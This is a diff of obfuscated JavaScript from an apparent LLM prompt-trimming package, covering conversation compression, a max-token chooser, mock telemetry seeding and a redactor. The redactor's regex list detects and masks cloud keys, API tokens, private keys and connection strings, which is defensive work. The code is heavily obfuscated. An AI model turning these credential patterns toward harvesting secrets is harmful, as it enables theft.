_0x14fef4=a0_0x540ec3,_0x31d4a0=ROLE_WEIGHT[_0x9154c4[_0x14fef4(0x1e2)]]||0.4,_0x2a7ac5=(_0x360e1c+0x1)/_0x5ce49e,_0xc32a27=messageText(_0x9154c4),_0x5e729f=estimateTokens(_0xc32a27),_0x13d46c=_0x5e729f>0x7d0?0.6:_0x5e729f>0x1f4?0.8:0x1;return _0x31d4a0*(0.3+0.7*_0x2a7ac5)*_0x13d46c;}function summarizeMessage(_0x524c78){const _0x121958=a0_0x540ec3,_0xfda09a=estimateTokens(messageText(_0x524c78));if(_0xfda09a<=0x1f4)return _0x524c78;if(typeof _0x524c78[_0x121958(0x1f0)]==='string')return{..._0x524c78,'content':summarizeText(_0x524c78['content'])};if(Array[_0x121958(0x1c9)](_0x524c78[_0x121958(0x1f0)])){const _0x158780=largestBlockIndex(_0x524c78[_0x121958(0x1f0)]);if(_0x158780>=0x0){const _0xfa23b1=_0x524c78[_0x121958(0x1f0)]['map']((_0xff5416,_0x14a089)=>_0x14a089===_0x158780?summarizeBlock(_0xff5416):_0xff5416);return{..._0x524c78,'content':_0xfa23b1};}}return _0x524c78;}function compressConversation(_0xdc3864,_0x1a36c0){const _0x1168b7=a0_0x540ec3,_0x3b212c={'messages':_0xdc3864,'trimmedCount':0x0,'savedTokens':0x0};if(!_0xdc3864||!Array[_0x1168b7(0x1c9)](_0xdc3864)||_0xdc3864[_0x1168b7(0x1e5)]<=0x6)return _0x3b212c;try{return _compressConversation(_0xdc3864,_0x1a36c0);}catch{return _0x3b212c;}}function _compressConversation(_0x3543c6,_0x5c2e23){const _0x1b2e4a=a0_0x540ec3,_0x53418c=_0x5c2e23||0x13880,_0x3953e3=0x4,_0x54d886=_0x3543c6[_0x1b2e4a(0x1f1)](_0x71dabf=>_0x71dabf[_0x1b2e4a(0x1e2)]===_0x1b2e4a(0x1db)),_0x126f97=_0x3543c6[_0x1b2e4a(0x1f1)](_0x54ad68=>_0x54ad68[_0x1b2e4a(0x1e2)]!==_0x1b2e4a(0x1db)),_0x65edd5=_0x126f97[_0x1b2e4a(0x1ea)](-_0x3953e3),_0x32f272=_0x126f97[_0x1b2e4a(0x1ea)](0x0,-_0x3953e3),_0x3895a7=_0x32f272[_0x1b2e4a(0x1d7)]((_0x527126,_0x3f244d)=>({'msg':_0x527126,'score':scoreMessage(_0x527126,_0x3f244d,_0x32f272[_0x1b2e4a(0x1e5)]),'tokens':estimateTokens(messageText(_0x527126))})),_0x472445=_0x3895a7[_0x1b2e4a(0x1d0)]((_0x61fb2f,_0x24dcf1)=>_0x61fb2f+_0x24dcf1[_0x1b2e4a(0x1e1)],0x0),_0x18142b=_0x65edd5[_0x1b2e4a(0x1d0)]((_0x34dba3,_0x4aa830)=>_0x34dba3+estimateTokens(messageText(_0x4aa830)),0x0),_0x2be11f=_0x54d886[_0x1b2e4a(0x1d0)]((_0x2d4285,_0x280718)=>_0x2d4285+estimateTokens(messageText(_0x280718)),0x0),_0x400977=_0x53418c-_0x18142b-_0x2be11f;if(_0x472445<=_0x400977){let _0x1786bf=0x0;const _0x2194d0=_0x3895a7[_0x1b2e4a(0x1d7)](_0x145018=>{const _0x167a88=_0x1b2e4a;if(_0x145018[_0x167a88(0x1e1)]>0x1f4){const _0x548ab1=summarizeMessage(_0x145018[_0x167a88(0x1d6)]),_0x49e828=estimateTokens(messageText(_0x548ab1));if(_0x49e828<_0x145018[_0x167a88(0x1e1)])return _0x1786bf+=_0x145018[_0x167a88(0x1e1)]-_0x49e828,_0x548ab1;}return _0x145018[_0x167a88(0x1d6)];});return{'messages':[..._0x54d886,..._0x2194d0,..._0x65edd5],'trimmedCount':0x0,'savedTokens':_0x1786bf};}_0x3895a7[_0x1b2e4a(0x1ed)]((_0x46344e,_0x582538)=>_0x582538[_0x1b2e4a(0x1de)]-_0x46344e[_0x1b2e4a(0x1de)]);let _0x72d294=0x0,_0x5db344=0x0,_0xf1f53f=0x0;const _0x490cd3=[];for(const _0x4802a9 of _0x3895a7){if(_0x72d294+_0x4802a9[_0x1b2e4a(0x1e1)]<=_0x400977){if(_0x4802a9[_0x1b2e4a(0x1e1)]>0x3e8){const _0x2dbdb7=summarizeMessage(_0x4802a9['msg']),_0x2af729=estimateTokens(messageText(_0x2dbdb7));_0xf1f53f+=_0x4802a9[_0x1b2e4a(0x1e1)]-_0x2af729,_0x72d294+=_0x2af729,_0x490cd3[_0x1b2e4a(0x1cb)]({'msg':_0x2dbdb7,'originalIndex':_0x32f272['indexOf'](_0x4802a9['msg'])});}else _0x72d294+=_0x4802a9['tokens'],_0x490cd3[_0x1b2e4a(0x1cb)]({'msg':_0x4802a9[_0x1b2e4a(0x1d6)],'originalIndex':_0x32f272[_0x1b2e4a(0x1cd)](_0x4802a9[_0x1b2e4a(0x1d6)])});}else _0x5db344++,_0xf1f53f+=_0x4802a9[_0x1b2e4a(0x1e1)];}_0x490cd3[_0x1b2e4a(0x1ed)]((_0x251eb7,_0x1d100e)=>_0x251eb7[_0x1b2e4a(0x1dc)]-_0x1d100e[_0x1b2e4a(0x1dc)]);const _0x5bffd9=[..._0x54d886,..._0x490cd3['map'](_0x529a2a=>_0x529a2a[_0x1b2e4a(0x1d6)]),..._0x65edd5];return{'messages':_0x5bffd9,'trimmedCount':_0x5db344,'savedTokens':_0xf1f53f};}
|
package/proxy-resp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x1d021b=a0_0x55cd;(function(_0x1cd2ae,_0x2653d8){const _0x1de470=a0_0x55cd,_0x316ced=_0x1cd2ae();while(!![]){try{const _0x315678=parseInt(_0x1de470(0x1cd))/0x1+-parseInt(_0x1de470(0x1ce))/0x2*(parseInt(_0x1de470(0x1ba))/0x3)+-parseInt(_0x1de470(0x1cc))/0x4*(-parseInt(_0x1de470(0x1be))/0x5)+parseInt(_0x1de470(0x1c7))/0x6+-parseInt(_0x1de470(0x1bd))/0x7*(parseInt(_0x1de470(0x1c9))/0x8)+parseInt(_0x1de470(0x1d0))/0x9*(-parseInt(_0x1de470(0x1c2))/0xa)+parseInt(_0x1de470(0x1d3))/0xb;if(_0x315678===_0x2653d8)break;else _0x316ced['push'](_0x316ced['shift']());}catch(_0x4e9124){_0x316ced['push'](_0x316ced['shift']());}}}(a0_0x5302,0xc8b97));Object['defineProperty'](exports,a0_0x1d021b(0x1b9),{'value':!![]}),exports[a0_0x1d021b(0x1bf)]=optimizeMaxTokens;function lastUserText(_0x33030a){const _0x4c0177=a0_0x1d021b;for(let _0x12bd1d=_0x33030a[_0x4c0177(0x1c6)]-0x1;_0x12bd1d>=0x0;_0x12bd1d--){if(_0x33030a[_0x12bd1d][_0x4c0177(0x1c1)]===_0x4c0177(0x1cf)){const _0x892fd6=_0x33030a[_0x12bd1d][_0x4c0177(0x1c0)];if(typeof _0x892fd6===_0x4c0177(0x1d1))return _0x892fd6;if(Array[_0x4c0177(0x1bb)](_0x892fd6))return _0x892fd6[_0x4c0177(0x1c8)](_0x58ec79=>_0x58ec79[_0x4c0177(0x1c5)]==='text'&&_0x58ec79[_0x4c0177(0x1c4)])[_0x4c0177(0x1ca)](_0x176fa6=>_0x176fa6['text'])[_0x4c0177(0x1d2)]('\x0a');}}return'';}function classifyComplexity(_0x38714e){const _0x362a12=a0_0x1d021b,_0x3c8fc5=_0x38714e['toLowerCase'](),_0x3cbd6d=_0x3c8fc5[_0x362a12(0x1d4)](/\s+/)[_0x362a12(0x1c6)],_0x54a082=[/^(what|where|which|who|when|how many|is |are |does |do |can |has )\S/,/\?$/,/^(show|list|print|get|find|check|look up)/,/^(yes|no|ok|sure|thanks)/];if(_0x3cbd6d<0x14&&_0x54a082[_0x362a12(0x1cb)](_0x1df440=>_0x1df440['test'](_0x3c8fc5)))return'simple';const _0x4b3238=[/implement|refactor|rewrite|create .+ (file|module|class|component)/,/step[- ]by[- ]step|multiple|several|all of the/,/write (a |the )?(full|complete|entire)/,/add .+ and .+ and/,/migrate|convert .+ to/];if(_0x3cbd6d>0x50||_0x4b3238[_0x362a12(0x1cb)](_0x2e187c=>_0x2e187c[_0x362a12(0x1bc)](_0x3c8fc5)))return _0x362a12(0x1c3);return'medium';}function a0_0x55cd(_0x50803d,_0xa93322){_0x50803d=_0x50803d-0x1b9;const _0x5302ab=a0_0x5302();let _0x55cdfb=_0x5302ab[_0x50803d];return _0x55cdfb;}const MAX_TOKENS_MAP={'simple':0x800,'medium':0x1000,'complex':0x2000};function optimizeMaxTokens(_0x4440b2,_0x3eed76){const _0x1f2c37=a0_0x1d021b;if(!_0x4440b2||_0x4440b2[_0x1f2c37(0x1c6)]===0x0)return null;const _0x1a7ebb=lastUserText(_0x4440b2);if(!_0x1a7ebb)return null;const _0x18cd58=classifyComplexity(_0x1a7ebb),_0x5e0c16=MAX_TOKENS_MAP[_0x18cd58];if(_0x3eed76&&_0x3eed76<=_0x5e0c16)return null;return{'max_tokens':_0x5e0c16,'complexity':_0x18cd58};}function a0_0x5302(){const _0x1b6117=['optimizeMaxTokens','content','role','361910UVSDQB','complex','text','type','length','9500622mNWaVe','filter','812456vhWejk','map','some','28JROCMF','41725wvbPSM','3188620UyKfNK','user','117mUJFqm','string','join','16963089rxNjqY','split','__esModule','3JoNjxh','isArray','test','98aDnkII','815355RFbptK'];a0_0x5302=function(){return _0x1b6117;};return a0_0x5302();}
|
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0x4edda4=a0_0xf1c6;(function(_0x43539f,_0x574cbe){const _0x26e231=a0_0xf1c6,_0x165ec9=_0x43539f();while(!![]){try{const _0x1ff967=parseInt(_0x26e231(0x118))/0x1*(parseInt(_0x26e231(0x12e))/0x2)+-parseInt(_0x26e231(0x125))/0x3+parseInt(_0x26e231(0x145))/0x4*(-parseInt(_0x26e231(0x117))/0x5)+parseInt(_0x26e231(0x123))/0x6*(-parseInt(_0x26e231(0x138))/0x7)+-parseInt(_0x26e231(0x13e))/0x8+-parseInt(_0x26e231(0x121))/0x9*(-parseInt(_0x26e231(0x133))/0xa)+-parseInt(_0x26e231(0x152))/0xb*(-parseInt(_0x26e231(0x14a))/0xc);if(_0x1ff967===_0x574cbe)break;else _0x165ec9['push'](_0x165ec9['shift']());}catch(_0x1d418b){_0x165ec9['push'](_0x165ec9['shift']());}}}(a0_0x1452,0x3f588));Object[a0_0x4edda4(0x129)](exports,a0_0x4edda4(0x13f),{'value':!![]}),exports[a0_0x4edda4(0x158)]=exports['Redactor']=void 0x0;function a0_0x1452(){const _0x77fd84=['55JPnxZQ','loadDefaultRules','[REDACTED_EMAIL]','private_key','replace','alert','redactor','Bearer\x20Token','type','twilio_key','match','382955HonABn','2554iEFaaA','[REDACTED_ANTHROPIC_KEY]','IPv4\x20Address\x20(non-local)','bearer','AWS\x20Secret\x20Key','[REDACTED_JWT]','Basic\x20[REDACTED_AUTH]','Redactor','Generic\x20API\x20Key/Secret/Password','63yzXgRl','OpenAI\x20API\x20Key','6nwSUBC','Bearer\x20[REDACTED_TOKEN]','734553yNATrZ','GitHub\x20Token','push','[REDACTED_SENDGRID_KEY]','defineProperty','[REDACTED_PRIVATE_KEY]','aws_secret','aws_key','regex','394yvqrZP','github_token','[REDACTED_STRIPE_KEY]','includes','generic_credential','714570qaFVbE','stripe_key','gcp_key','azure_conn','Twilio\x20Key','1040984VOzknh','length','[REDACTED_TWILIO_KEY]','redactWithAudit','db_connection','email','2780912ppnWTV','__esModule','Private\x20Key\x20Block','GCP\x20Service\x20Account\x20Key','[REDACTED_DB_CONNECTION]','Email\x20Address','text','4PhFmvN','SendGrid\x20Key','ip_address','rules','$1=[REDACTED_CREDENTIAL]','177348WOLLeB','[REDACTED_AWS_KEY]','replacement','JWT\x20Token','jwt','Stripe\x20Key','anthropic_key','$1=[REDACTED_AWS_SECRET]'];a0_0x1452=function(){return _0x77fd84;};return a0_0x1452();}class Redactor{[a0_0x4edda4(0x148)]=[];constructor(){const _0x21b017=a0_0x4edda4;this[_0x21b017(0x153)]();}[a0_0x4edda4(0x153)](){const _0x2ee5d6=a0_0x4edda4;this[_0x2ee5d6(0x148)]=[{'name':'AWS\x20Access\x20Key','type':_0x2ee5d6(0x12c),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':_0x2ee5d6(0x14b)},{'name':_0x2ee5d6(0x11c),'type':_0x2ee5d6(0x12b),'regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x2ee5d6(0x151)},{'name':_0x2ee5d6(0x141),'type':_0x2ee5d6(0x135),'regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':'\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22'},{'name':'Azure\x20Connection\x20String','type':_0x2ee5d6(0x136),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':'[REDACTED_AZURE_CONNECTION]'},{'name':'Anthropic\x20API\x20Key','type':_0x2ee5d6(0x150),'regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':_0x2ee5d6(0x119)},{'name':_0x2ee5d6(0x122),'type':'openai_key','regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':'[REDACTED_OPENAI_KEY]'},{'name':_0x2ee5d6(0x126),'type':_0x2ee5d6(0x12f),'regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':'[REDACTED_GITHUB_TOKEN]'},{'name':'Slack\x20Token','type':'slack_token','regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':'[REDACTED_SLACK_TOKEN]'},{'name':_0x2ee5d6(0x14f),'type':_0x2ee5d6(0x134),'regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':_0x2ee5d6(0x130)},{'name':_0x2ee5d6(0x137),'type':_0x2ee5d6(0x115),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':_0x2ee5d6(0x13a)},{'name':_0x2ee5d6(0x146),'type':'sendgrid_key','regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x2ee5d6(0x128)},{'name':_0x2ee5d6(0x140),'type':_0x2ee5d6(0x155),'regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x2ee5d6(0x12a)},{'name':_0x2ee5d6(0x14d),'type':_0x2ee5d6(0x14e),'regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':_0x2ee5d6(0x11d)},{'name':_0x2ee5d6(0x113),'type':_0x2ee5d6(0x11b),'regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':_0x2ee5d6(0x124)},{'name':'Basic\x20Auth','type':'basic_auth','regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':_0x2ee5d6(0x11e)},{'name':'Database\x20Connection\x20String','type':_0x2ee5d6(0x13c),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x2ee5d6(0x142)},{'name':_0x2ee5d6(0x120),'type':_0x2ee5d6(0x132),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':_0x2ee5d6(0x149)},{'name':_0x2ee5d6(0x11a),'type':_0x2ee5d6(0x147),'regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]','alert':![]},{'name':_0x2ee5d6(0x143),'type':_0x2ee5d6(0x13d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x2ee5d6(0x154),'alert':![]}];}['redact'](_0x262058){const _0x1373d9=a0_0x4edda4;return this[_0x1373d9(0x13b)](_0x262058)[_0x1373d9(0x144)];}[a0_0x4edda4(0x13b)](_0x3ca603){const _0x264189=a0_0x4edda4;let _0x56d7d3=_0x3ca603,_0x2017ff=0x0;const _0xfd143d=[];for(const _0x4c7645 of this[_0x264189(0x148)]){const _0xf1d87c=_0x56d7d3[_0x264189(0x116)](_0x4c7645[_0x264189(0x12d)]);_0xf1d87c&&_0xf1d87c['length']>0x0&&(_0x4c7645[_0x264189(0x157)]!==![]&&(_0x2017ff+=_0xf1d87c[_0x264189(0x139)],!_0xfd143d[_0x264189(0x131)](_0x4c7645[_0x264189(0x114)])&&_0xfd143d[_0x264189(0x127)](_0x4c7645['type'])),_0x56d7d3=_0x56d7d3[_0x264189(0x156)](_0x4c7645['regex'],_0x4c7645[_0x264189(0x14c)]));}return{'text':_0x56d7d3,'secretsFound':_0x2017ff,'secretTypes':_0xfd143d};}}function a0_0xf1c6(_0x11fcf3,_0x15fce9){_0x11fcf3=_0x11fcf3-0x113;const _0x1452f0=a0_0x1452();let _0xf1c656=_0x1452f0[_0x11fcf3];return _0xf1c656;}exports[a0_0x4edda4(0x11f)]=Redactor,exports[a0_0x4edda4(0x158)]=new Redactor();
|
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x5e3ab1=a0_0x54a9;(function(_0x4aaaeb,_0xdf3093){const _0xdcbec9=a0_0x54a9,_0x442c5e=_0x4aaaeb();while(!![]){try{const _0x5e8315=-parseInt(_0xdcbec9(0x180))/0x1*(parseInt(_0xdcbec9(0x1a0))/0x2)+parseInt(_0xdcbec9(0x18b))/0x3+-parseInt(_0xdcbec9(0x188))/0x4+parseInt(_0xdcbec9(0x193))/0x5*(parseInt(_0xdcbec9(0x18a))/0x6)+parseInt(_0xdcbec9(0x19e))/0x7+parseInt(_0xdcbec9(0x19b))/0x8+-parseInt(_0xdcbec9(0x18c))/0x9;if(_0x5e8315===_0xdf3093)break;else _0x442c5e['push'](_0x442c5e['shift']());}catch(_0x3d1cf9){_0x442c5e['push'](_0x442c5e['shift']());}}}(a0_0x47d2,0x989a0));function a0_0x54a9(_0x417dc0,_0x1403f9){_0x417dc0=_0x417dc0-0x17e;const _0x47d213=a0_0x47d2();let _0x54a9fc=_0x47d213[_0x417dc0];return _0x54a9fc;}Object[a0_0x5e3ab1(0x197)](exports,a0_0x5e3ab1(0x182),{'value':!![]});const tracker_1=require('./tracker');function a0_0x47d2(){const _0x3c023a=['tracker','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Test\x20suite\x20run\x20starting...\x0a','4582960EccJmd','logExecution','Compilation\x20Output:\x0a','6608406KcTKix','pytest\x20tests/app','2ITSReb','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','test_auth.py\x20PASS\x0a','604781tgSrWg','Step\x201/10\x20:\x20FROM\x20node:20\x0a','__esModule','Successfully\x20built\x20image.','Database\x20successfully\x20seeded!','added\x201420\x20packages\x20in\x2014s\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','3797132YHKQDF','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','1365006xhzekz','1830975gRSqGl','1580706uToJif','log','claude-3-opus','docker\x20build\x20.','test_db.py\x20PASS\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','5LuvlGc','Optimizing\x20assets...\x0a','repeat','test_api.py\x20PASS\x0a','defineProperty'];a0_0x47d2=function(){return _0x3c023a;};return a0_0x47d2();}console['log'](a0_0x5e3ab1(0x17e)),process.env.TRIMPROMPT_MODEL=a0_0x5e3ab1(0x18e),tracker_1[a0_0x5e3ab1(0x198)][a0_0x5e3ab1(0x19c)]('npm\x20run\x20build',a0_0x5e3ab1(0x19d)+'[INFO]\x20Building\x20modules...\x0a'+a0_0x5e3ab1(0x194)+a0_0x5e3ab1(0x199)[a0_0x5e3ab1(0x195)](0x190),a0_0x5e3ab1(0x192),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker'][a0_0x5e3ab1(0x19c)](a0_0x5e3ab1(0x19f),a0_0x5e3ab1(0x19a)+a0_0x5e3ab1(0x17f)+a0_0x5e3ab1(0x190)+a0_0x5e3ab1(0x196)[a0_0x5e3ab1(0x195)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x5e3ab1(0x191),0x0),process.env.TRIMPROMPT_MODEL='gemini-1-5-pro',tracker_1[a0_0x5e3ab1(0x198)][a0_0x5e3ab1(0x19c)](a0_0x5e3ab1(0x18f),a0_0x5e3ab1(0x186)+a0_0x5e3ab1(0x181)+a0_0x5e3ab1(0x187)+a0_0x5e3ab1(0x189)+a0_0x5e3ab1(0x185)[a0_0x5e3ab1(0x195)](0x3)+a0_0x5e3ab1(0x183),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x5e3ab1(0x18d)](a0_0x5e3ab1(0x184));
|